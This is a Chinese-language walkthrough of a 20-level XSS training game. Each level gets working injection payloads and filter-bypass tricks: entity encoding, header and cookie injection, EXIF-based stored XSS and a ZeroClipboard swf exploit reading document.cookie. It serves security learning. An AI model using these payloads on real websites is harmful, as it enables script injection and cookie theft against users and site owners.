XSS level 20 通关记录



游戏共20关,全部需要靠找出XSS漏洞解决,游戏包:

xss源码小游戏.zip






过程记录:


level 1 : 正常<script>即可


level 2 : 可以看源码,有一个input标签,未过滤用户输入


level 3 : 转义了 <>/" 特殊字符,但是没有转义  ' 单引号,因此也可以 keyword='onmouseover='alert(1)'

当鼠标指针移动到图像上时执行一段 JavaScript:

<img onmouseover="bigImg(this)" src="smiley.gif" alt="Smiley">


level 4 :和level2一样,尽管过滤了几个字符


level 5:可以看到给script和on加了下划线,因此考虑构造 <a href> 即a连接:

payload:

"><a href="javascript:o_nclick=alert()">点我就xss</a>
合并之后就是:

value=""><a href="javascript:o_nclick=alert()">点我就xss</a>"

然后点击构造的链接。


level 6 :同样过滤了一大堆比如 onclick、Script、href、src、data 等,尝试下大写吧:

"><IMG SRC=0 ONERROR="alert(132)">   成功


level 7 : 全部转换为小写了,看源码是将某些字符替换为空了,试一下重复这些被替换的字符试试:

"><scriscriptpt>alert(123)</scriscriptpt>




添加友情链接类型

level 8: 各种过滤,大小写、重复都不行,使出必杀技:字符转HTML实体编码:

把 javascript:alert()  转为:

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x29;

然后提交,成功。


level 9:

检测用户输入是否存在真实链接,因此只要输入中包含一个链接但是不让她生效即可,同样配合HTML实体编码。

javascri&#x0070;t:alert(1)/*http://www.baidu.com*/




level 10:要修改隐藏标签,让文本框显现出来,方便添加点击事件。

根据页面源码,给三个变量同时赋值提交都没用,最终只能在type后面赋值,因此最终构造结果为:

<input name="t_sort"  value=""onclick="alert()"type="text"" type="hidden">


payload(起关键作用的代码):

t_link=&t_history=&t_sort="onclick="alert()"type="text"




下面的开始有点难度了:


level 11:没思路,没思路就抓包.

第十关跳转到第十一关的请求包如下:

GET /xssgame/level11.php?keyword=good%20job! HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/xssgame/level10.php?keyword=t_link=1&t_history=1&t_sort=%22onclick=%22alert()%22type=%22text%22

Connection: close

Upgrade-Insecure-Requests: 1


可以看到Referer为上一关提交的url,因此我们可以修改referer如下:

t_sort="type="text" onclick="alert(1)


happysneaker.com


happysneaker.com

看来构造如上的值即可。



level 12 

和level 11 是一个套路,只是变成了user-agent,改变user-agent内容为t_sort="type="text" onclick="alert(1)即可。



level 13 

抓包:

GET /xssgame/level13.php?keyword=good%20job! HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost/xssgame/level12.php?keyword=good%20job!

Cookie: user=call+me+maybe%3F

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0


看到Cookie懂了吧,改为:

user="type="text" onclick="alert(1)"




level 14

查看源码得知,嵌入了一个iframe页面,访问这个网站http://www.exifviewer.org/,是查看图片的EXIF信息的网站,说明这是文件上传图片的XSS。想到上半年补天爆出来的乌云EXIF存储型XSS,传送门: http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0194934.html 漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS。利用工具推荐exiftool。题中给的网站我传了一张图片,成功弹窗,解析地址如下: http://www.exifviewer.org/FW/result.php?name=616e8a17b042371baf608c311a9a3d46&tscachebusttamp=1479559371223




level 15


AngularJS ng-include指令ng-include 指令用于包含外部的 HTML 文件。查看页面是 ng-include,因此可以考虑配合文件包含实行XSS:


URL:

http://localhost/xssgame/level15.php?src=level1.php?name=1%27window.alert()



level 16

这一关可以直接写入标签,难点在于过滤了空格,/ 等连接符,故用%0d换行符绕过,可写入标签。payload如下: http://sqler.win/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)



level 17


题目给的URL为:http://localhost/xssgame/level17.php?arg01=a&arg02=b


  这一关,将arg01和arg02的参数分别写入src的值中,并过滤了尖括号,导致不能闭合标签。因为本身是在embed标签中,故考虑,能不能在 arg02中,写入事件来触发XSS。答案是可以的,这里采用onmousedown标签,构造arg02参数的值为 onmousedown=alert(1),点击页面嵌入的swf可触发XSS。完整payload如下: http://sqler.win/xss/level17.php?arg01=a&arg02=%20onmousedown=alert(2)



level 18

这一关和上一关很类似,但是需要有一点点的转变,经过尝试发现,在arg02参数无论加什么字符都无法构造空格,那转移注意力,尝试arg01,果然,arg01是可以构造的,参考上一关的payload,完整payload如下: http://sqler.win/xss/level18.php?arg01=a%20onmousedown=alert(2)&arg02=b



level 19


构造最终payload,如下:


http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E


点击传入进去的’xss_by_SST‘就可以触发XSS。




level 20

将swf下载下下来分析得知是zeroclipboard.swf , 百度一下,有漏洞详情,构造payload如下:http://sqler.win/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height







Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论